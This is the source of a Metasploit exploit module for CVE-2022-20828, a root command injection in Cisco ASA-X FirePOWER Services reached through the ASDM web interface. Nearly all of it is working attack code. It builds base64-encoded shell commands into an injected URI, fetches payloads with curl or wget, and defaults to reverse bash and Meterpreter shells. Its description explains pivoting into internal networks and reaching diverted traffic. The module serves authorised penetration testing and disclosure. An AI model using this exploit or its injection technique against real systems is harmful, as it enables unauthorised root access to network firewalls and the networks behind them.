Path: blob/master/modules/exploits/linux/http/cisco_asax_sfr_rce.rb
32894 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Cisco ASA-X with FirePOWER Services Authenticated Command Injection',18'Description' => %q{19This module exploits an authenticated command injection vulnerability affecting20Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's21ASDM web server and lands in the FirePower Services SFR module's Linux virtual22machine as the root user. Access to the virtual machine allows the attacker to23pivot to the inside network, and access the outside network. Also, the SFR24virtual machine is running snort on the traffic flowing through the ASA, so25the attacker should have access to this diverted traffic as well.2627This module requires ASDM credentials in order to traverse the ASDM interface.28A similar attack can be performed via Cisco CLI (over SSH), although that isn't29implemented here.3031Finally, it's worth noting that this attack bypasses the affects of the32`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be33available but this attack makes it available).3435Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that36support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,37and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module38versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will39receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.40},41'License' => MSF_LICENSE,42'Author' => [43'jbaines-r7' # Vulnerability discovery and Metasploit module44],45'References' => [46[ 'CVE', '2022-20828' ],47[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG' ],48[ 'URL', 'https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/' ],49[ 'URL', 'https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html']50],51'DisclosureDate' => '2022-06-22',52'Privileged' => true,53'Targets' => [54[55'Shell Dropper',56{57'Platform' => 'unix',58'Arch' => ARCH_CMD,59'Type' => :unix_cmd,60'DefaultOptions' => {61'PAYLOAD' => 'cmd/unix/reverse_bash'62}63}64],65[66'Linux Dropper',67{68'Platform' => 'linux',69'Arch' => ARCH_X64,70'Type' => :linux_dropper,71'CmdStagerFlavor' => [ 'curl', 'wget' ],72'DefaultOptions' => {73'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'74}75}76]77],78'DefaultTarget' => 1,79'DefaultOptions' => {80'RPORT' => 443,81'SSL' => true,82'MeterpreterTryToFork' => true83},84'Notes' => {85'Stability' => [CRASH_SAFE],86'Reliability' => [REPEATABLE_SESSION],87'SideEffects' => [ARTIFACTS_ON_DISK]88}89)90)91register_options([92OptString.new('TARGETURI', [true, 'Base path', '/']),93OptString.new('USERNAME', [true, 'Username to authenticate with', '']),94OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),95])96end9798def check99res = send_request_cgi({100'method' => 'GET',101'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),102'headers' =>103{104'User-Agent' => 'ASDM/ Java/1',105'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])106}107})108return CheckCode::Unknown('The target did not respond to the check.') unless res109return CheckCode::Safe('Authentication failed.') if res.code == 401110return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200111112if res.body.include?('Invalid do command uid=0(root)')113return CheckCode::Vulnerable("Successfully executed the 'id' command.")114end115116CheckCode::Safe('The command injection does not appear to work.')117end118119def execute_command(cmd, _opts = {})120# base64 encode the payload to work around bad characters and then uri encode121# the whole thing before yeeting it at the server122encoded_payload = Rex::Text.uri_encode("(base64 -d<<<#{Rex::Text.encode_base64(cmd)}|sh)&")123res = send_request_cgi({124'method' => 'GET',125'uri' => normalize_uri(target_uri.path, "/admin/exec/session+sfr+do+`#{encoded_payload}`"),126'headers' =>127{128'User-Agent' => 'ASDM/ Java/1',129'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])130}131})132133if res134fail_with(Failure::Unreachable, 'The target did not respond.') unless res135fail_with(Failure::NoAccess, 'Could not log in. Verify credentials.') if res.code == 401136fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200137end138139if session_created?140# technically speaking, bash can hold the connection open and skip all the res checks141# also passing the res checks doesn't actually mean that the target was exploited so142# check a session was created to get verification143print_good('Session created!')144else145fail_with(Failure::NotVulnerable, 'The exploit was thrown but not session was created.')146end147end148149def exploit150print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")151152case target['Type']153when :unix_cmd154execute_command(payload.encoded)155when :linux_dropper156execute_cmdstager157end158end159end160161162